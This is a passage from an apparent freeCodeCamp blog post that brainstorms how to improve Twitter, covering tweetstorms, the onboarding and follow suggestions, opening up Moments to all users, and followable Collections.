<p><img src="https://cdn-media-1.freecodecamp.org/images/1*gIzGwHt7k-kE6h5BhbK_Kg.png" alt="Image" width="623" height="372" loading="lazy"></p>
<p>And how would you display a tweetstorm? Display the first tweet as normal, and the rest as an attachment: “<em>n</em> more tweets.” Tapping on it would open it up in a separate timeline that would actually allow you to read the tweets in proper sequence.</p>
<h3 id="heading-fixing-follows">Fixing Follows</h3>
<p>At the core of Twitter’s Wall Street woes is the slowing growth. Spending a few minutes with people who don’t use Twitter (or who have signed up and haven’t found enough value to continue) the reason is obvious.</p>
<p>Put simply, Twitter increases in value along with the quality of your feed. This means that the people who put more time and effort into Twitter get more out of it.</p>
<p>But putting together your feed is <em>very</em> difficult, especially for new users who have nothing to go off of and have never intentionally created a similar feed before.</p>
<p>To better explain what that means I’d like to take the liberty of looking at Twitter from the perspective of my grandma.</p>
<h4 id="heading-my-grandma">My Grandma</h4>
<p>My Grandma, outside of occasionally using passwords like “p@ssw0rd,” is technically savvy. She used to work for Novell, she blogs and emails, and certainly knows her way around a computer.</p>
<p>Does my grandma use Facebook? Of course. Does she use Twitter? Nope.</p>
<p>It’s easy to write that off as “well that’s not our target market,” but at a certain point, in order to justify the $x0 Billion market cap, Twitter needs to start attracting the “late majority” of users.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*9_eTA52XG4hx3WSFQUp0uQ.jpeg" alt="Image" width="1200" height="499" loading="lazy"></p>
<p>My grandma is a prototypical late adopter. She started using Facebook on recommendation of one of her grandchildren a couple of years ago, accepting his friend request as her first. Immediately the rest of the family saw that she had joined, and we all started adding her as a friend. She, of course, accepted the requests.</p>
<p>Before she knew it, and without doing much at all, she had recreated much of her in-real-life social graph on Facebook. Now every time she logs onto Facebook she sees photos, videos, and posts from her family. Importantly, <em>she didn’t even have to think to make that happen</em>.</p>
<p>I’m not sure there’s a stickier experience anywhere on the Internet.</p>
<p>Facebook has two major advantages over a network like Twitter:</p>
<ol>
<li>Facebook’s connections are bidirectional (sometimes I call it “lazy”); if I add you and you accept, you unwittingly added me to your social graph. On Twitter every user has to create his or her own graph manually instead of merely reacting to others.</li>
<li>Facebook is recreating an <em>existing</em> social graph, merely transposing “people I know in life” to “people I know on Facebook.” The great (and difficult) thing about using Twitter is that you’re creating a graph <em>that didn’t previously exist</em> from scratch. Especially for non-early-adopters, that’s a very tall order.</li>
</ol>
<p>The unidirectional graph is both my favorite thing about Twitter and the thing that causes Twitter’s growth to be slow. As they say, Facebook is the people you know, Twitter is the people you wish you knew.</p>
<p>Twitter’s problem is sometimes people don’t know who they wish they knew. Facebook wins because everyone knows who they know.</p>
<p>Most Twitter users I know spend an inordinate amount of time pruning and discovering who to follow— constantly adding to and removing from their feed. I’d go as far as to say that the value one receives from using Twitter is directly correlated to the amount of time he or she spends adjusting whom he or she follows.</p>
<h4 id="heading-the-importance-of-the-graph">The Importance of the Graph</h4>
<p>The initial social graph is such a fundamental metric for Facebook that the (now legendary) growth team focused <em>solely</em> on getting each new member to have seven connections. They found that was the point at which people would stick around. They knew you would be hooked at that point.</p>
<p>My hunch is that a similar number is true for Twitter — at some level creating enough of a quality social graph makes Twitter sticky.</p>
<p>The problem Twitter is running into is that creating that graph from nothing on Twitter is an order of magnitude more difficult than recreating a graph (perhaps even accidentally) on Facebook.</p>
<p>This is true for both existing users and new users, but we’ll focus on new users first.</p>
<h4 id="heading-onboarding-bootstrapping-the-graph">Onboarding: Bootstrapping the Graph</h4>
<p>Twitter seems to be well aware of what computer scientists would call the <a target="_blank" href="https://en.wikipedia.org/wiki/Cold_start">cold start</a> problem: In short, they know nothing about a new user, and it’s hard to make predictions (let alone construct a social graph) when you don’t know anything. They’ve tried several ways to solve it for newly registering users, from the current “survey” to the previous “logged out homepage,” but these pretty clearly miss the mark.</p>
<p>After having run through the onboarding process several times, I honestly believe it would be better if it didn’t exist at all in its current state. It’s broken enough that I can’t imagine it <em>not</em> ruining the experience of anyone signing up for the first time.</p>
<p>I went through the onboarding process and created a new account three more times this morning (onboarding multiple times on various platform is a weird hobby of mine). I did it once trying to match exactly what I would say personally, once using only contacts from my gmail account, and a final time using only my mobile contacts.</p>
<p>This is all specific to me, so it may be difficult to ascertain whether or not there’s value, but I think the issues will be obvious.</p>
<p>For the first round I said I like tech/science in Twitter’s survey, and didn’t give any further context or contacts. This is who Twitter recommended I follow:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*_R_fxZhOZVwuVmCAoqvFMQ.png" alt="Image" width="1200" height="655" loading="lazy"></p>
<p>Inside Science &amp; Tech, an account I’ve never heard of, but it seems science and techy so I suppose that makes sense. Then TechCrunch, an account I currently don’t follow because I’m not a huge fan of the writing, but fair enough, I said tech, here’s TechCrunch.</p>
<p>It also included several leaders of the LDS Church. I don’t know where that came from, but I’m in Utah so it could be something location-based. Whatever. I just followed and everyone Twitter recommended.</p>
<p>To my surprise, when I looked at the feed that this onboarding populated it was 99% CNN, ESPN and Utah Jazz. Apparently further down the list were some very non-tech accounts I didn’t pay attention to (I assume a lot of users similarly wouldn’t), and these huge, constantly-tweeting and completely irrelevant accounts were completely dominating my feed.</p>
<p>If I were a first-time user I would have left and never come back. But maybe that was a fluke.</p>
<p>I then tried with a new account, only importing my gmail contact list. This is who Twitter recommended I follow based on my emails:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*CNFhWxOuo5_26V6na0mnhw.png" alt="Image" width="1200" height="660" loading="lazy"></p>
<p>Maybe I have an email from the Mormon Newsroom somewhere, but they’re certainly not one of my “contacts.” I have no idea how Drake got on there, or the White House, but this is again obviously broken. My feed was a mess of brands, most of whom were trying to promote content.</p>
<p>But maybe it’s because I’m on desktop and no one uses desktop anymore; let’s try on mobile. This time I’m going to use my mobile contact list <em>only</em>.</p>
<p>To my surprise, again Twitter injected a large number other accounts for me. From Barack Obama and Bill Clinton to news sites and all sorts of random celebrities, interspersed with the people I actually know and care about.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*kL08qv_C7voZP2grGB1cZw.png" alt="Image" width="393" height="695" loading="lazy"></p>
<p>When I got to my home screen, the tweets were from (in this order):</p>
<p>Time, MarketWatch, Entrepreneur, Time, ESPN, CNN, The Economist, Forbes, Wall Street Journal.</p>
<p>I had to scroll <em>57</em> tweets before I saw something from somebody I knew.</p>
<h4 id="heading-i-didnt-come-here-to-follow-brands">I didn’t come here to follow brands</h4>
<p>Maybe this is just me, but I would guess that step one for fixing the social graph problem is to stop fetishizing the popular and branded accounts — especially those that tweet seven times an hour. It seems like Twitter is pushing those across the board. Maybe I’m an atypical user, but in my opinion they are some of the worst accounts to follow: They mostly tweet press releases and links to articles.</p>
<h4 id="heading-how-i-find-people-to-follow">How I Find People to Follow</h4>
<ol>
<li>I like to find people who tweet the same links that I do. This means that generally they are interested in the same topics or reading the same stuff. It almost becomes a reverse Nuzzel.</li>
<li>Sometimes I’ll go through the tweets that I retweeted and follow everyone who also retweeted them.</li>
<li>Occasionally I’ll use a tool like <a target="_blank" href="https://www.electoralhq.com/">Electoralhq</a> to create a list of all of the people someone else follows, essentially recreating that person’s feed. I then can use that person’s feed on occasion to find new people. (This actually used to be a Twitter feature).</li>
<li>I love to create lists of the people that are followed by the people I follow, but who are not followed by me. I’ve found some of my favorite accounts that way.</li>
</ol>
<p>As you can see, these are not things that most users would do, but they have increased the value of Twitter for me so greatly I think it would be neat to see those tools be widespread. (I’ve actually toyed with building some of them in the past, but the API calls limitation made it impossible.)</p>
<p>This is relatively trivial, but given that the building of a social graph is the single most important aspect of Twitter it would be nice to have some additional tools to be able to find people.</p>
<h3 id="heading-following-more-than-people">Following More than People</h3>
<p>A potentially even more obvious way to solve the social graph problem is to let me follow more than people.</p>
<p>What if you could follow <em>events?</em></p>
<p>What if you could follow <em>topics?</em></p>
<p>That’s pretty clearly what Twitter was trying to solve with Moments, but Moments doesn’t solve the problem.</p>
<h4 id="heading-fixing-moments">Fixing Moments</h4>
<p>The problem with moments isn’t the design or the position of the button or the layout; that was all executed very well (serious hats off to the Moments team for that).</p>
<p>The problem with moments is <em>the content</em>. Moments essentially recreated a portion of the Yahoo homepage within Twitter.</p>
<p>I, and most people I know who use Twitter, go to Twitter to find the stuff that’s <em>not</em> on the Yahoo home page.</p>
<p>This isn’t necessarily the fault of the Moments editorial team either; the problem is the editorial team is tasked with an impossible job: Find content that all Twitter users will want to click on. Mark my words, that will never happen.</p>
<p>The problem that Moments set out to solve is that <em>curation is hard</em>. An event is happening, and sure, you could follow the hashtag, but there’s way too much firehose to drink from. I would be willing to bet the thought process was something like this:</p>
<blockquote>
<p><em>“It is really hard for people to curate their feeds enough to make Twitter valuable during big events like [Ferguson]. How can we solve that?”</em></p>
<p><em>“Well let’s just hire some people to find the best stuff and do that for them.”</em></p>
</blockquote>
<p>Tie that together with some brainstorming about how to get those tweets into a feed, Twitter Moments is born. I think they were on the right track.</p>
<p>But I also think Twitter missed an <em>enormous</em> opportunity, specifically because it doesn’t scale very well.</p>
<p>There may be some people who are interested in the above topics, but I don’t know who they are. And I bet Twitter would admit that they don’t either.</p>
<p>The opportunity missed, in my mind, is that there <em>are</em> people who are willing to curate for others on Twitter, even on a tweet-by-tweet basis.</p>
<p>Maybe it’s only 1%. Maybe it’s only 10%. But why sit there and curate tweets on 10 topics when you could open it up and allow <em>everyone</em> to curate tweets on <em>any</em> topic?</p>
<p>Doing so would open it up for everyone, and let every event ever be covered by someone. It could still be embeddable and linkable and shareable; you could even “follow” a moment and let those links populate your timeline, but it would be on <em>every</em> topic.</p>
<h4 id="heading-opening-moments">Opening Moments</h4>
<p>To understand how Moments works, let’s again break it down into anatomical pieces.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*rPEzeNgGWbGlgGXIEdCX9Q.png" alt="Image" width="1200" height="660" loading="lazy"></p>
<p>It’s actually remarkably simple. I’ve never seen the backend of Moments, but I would imagine it’s four “title” fields and then a bunch of fields to drop links to tweets.</p>
<p>I know for a fact that you can get ordinary people to fill in those fields, because we’ve been using almost exactly the same fields at Grasswire for almost two years (except we have “tag” instead of “topic”, and “links” instead of “tweets”).</p>
<p>So why not open that up? Expose the backend, allow me to create some moments that will live at twitter.com/austenallred/moments, and display it the same way. The hard work is done.</p>
<p>Then the question comes down to “Moments Discovery.”</p>
<p>A pretty rudimentary analysis of my tweets by Klout (I know, I know) reveals the topics that I’m interested in:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*_mhBuiBTloSuokQ_NJQ6kA.png" alt="Image" width="767" height="555" loading="lazy"></p>
<p>This is pretty spot on; with a couple of exceptions I would love to see Moments about any of that stuff. Twitter has all that data; it knows what I tweet about, it would take some finesse but there’s no reason Twitter shouldn’t be able to show me Moments about those things. Doing so would make Moments incredibly valuable for me.</p>
<p>If Moments had content about these things, I would probably check the Moments tab several times per day. People would create and embed them, news companies would create stories that way; you would almost have an easier-to-use Storify built into the product directly, but importantly it would be <em>scalable</em> and <em>personalized.</em></p>
<p>But what if what I want to follow isn’t an <em>event</em>?</p>
<h4 id="heading-collections">Collections</h4>
<p>Moments is geared toward events with a particular stop-and-start time. But what about topics?</p>
<p>Twitter Collections technically exist, but they do so in such a format that I didn’t even know they were a thing until a few days ago. Collections is a really, really good idea. But there are a couple of problems:</p>
<ol>
<li>I have to use a special tool called “curator” to create them.</li>
<li>Viewing a collection is difficult, because it’s somewhat hidden away.</li>
</ol>
<p>Both of these have fairly obvious solutions.</p>
<p>Creating a collection should be as simple as creating a list, except this time instead of gathering <em>people</em> we’re gathering <em>individual tweets</em>.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*gmgJyuBUcmXCuTNWo7wE5Q.png" alt="Image" width="581" height="394" loading="lazy"></p>
<p>Simple enough: add another list item to the profile photo dropdown, and everything has a home.</p>
<p>It’s not hard to figure out how one should be able to add a tweet to a collection, either.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*pU3THrOdgzCV2AX85mPKAQ.png" alt="Image" width="658" height="602" loading="lazy"></p>
<p>These small details are important, because this way there’s no need to build out a separate product with search functionality, discovery, a new way to display timelines, etc. If done right it would actually be simpler to build new features into the existing product. A few API changes, a few UI changes, and you’re good to go. (Granted, coming from a startup background I’m sure I’m underestimating the difficulty of this, but theoretically it shouldn’t be complex.)</p>
<p>But what makes collections <em>really</em> interesting to me is how you could follow them.</p>
<p>It’s no secret that the vast majority of Twitter use is in a user’s home feed. The reason lists haven’t taken off is because people simply use their home feed. Were I the all-powerful person over product at Twitter, I would let people follow a collection, thereafter injecting any tweets that are added to them into my home feed. (Checking for collisions and duplications would be more difficult, but we’ll disregard that for now).</p>
<p>How would it look when injected into my feed? The same way any other tweet does, except going back to our dissection of tweets, we’d now have “from @user/collection-name” in green instead of “retweeted by [full name].” (I’ll drop it below again to make things easier.) Add some sort of Collections icon, and you just made it possible to follow a topic (or event) curated by another user in an ongoing fashion.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*dYwdn3UVFCjGy0472853hw.png" alt="Image" width="394" height="699" loading="lazy"></p>
<p>Implemented in this way, I can let someone else do the curation for me on a tweet-by-tweet basis. There’s really no way on Twitter right now you can follow a <em>thing</em>. You can follow <em>people</em> who are likely to tweet about a <em>thing</em>, but they can tweet about whatever they want, and you’re stuck with it.</p>
<p>At some level, following topics would actually be much easier than following people. The curators would be rewarded knowing that their tastemaking is appreciated by <em>n</em> people, and new users would be able to jump directly into what they’re interested in topically instead of having to sort out what people they’re interested in.</p>
<p>Once this becomes more established, you can create “group collections” where a user can invite other people to add to a collection along with him or her. But that’s expert mode, and we’re still on amateur.</p>
<h3 id="heading-the-firehose">The Firehose</h3>
<p>Probably the best way to describe what I would do were I over product at Twitter is solve the “firehose” problem. Twitter’s problem is that there’s <em>too much good stuff.</em> That is a crazy dream to the vast majority of startups and products, but that’s not the world that Twitter lives in.</p>
<p>Twitter’s biggest problem overall is discovery, as a result of manually created social graphs, and I think these would go a way to solving that problem.</p>
<p>Again, these are just random thoughts, mostly written on a long airplane flight, and I have neither insider information nor power to enact any of these changes, so when all was said and done it was just a long brainstorm for a product I love.</p>
<p>To recap:</p>
<ul>
<li>Add a new attachment type that is a text post</li>
<li>Native tweetstorm integration</li>
<li>Take the cruft out of new user onboarding</li>
<li>Open up moments</li>
<li>Create follow-able “collections”</li>
</ul>
<p>Here’s to Twitter in 2016.</p>
 ]]>
                </content:encoded>
            </item>
        
    </channel>
</rss>
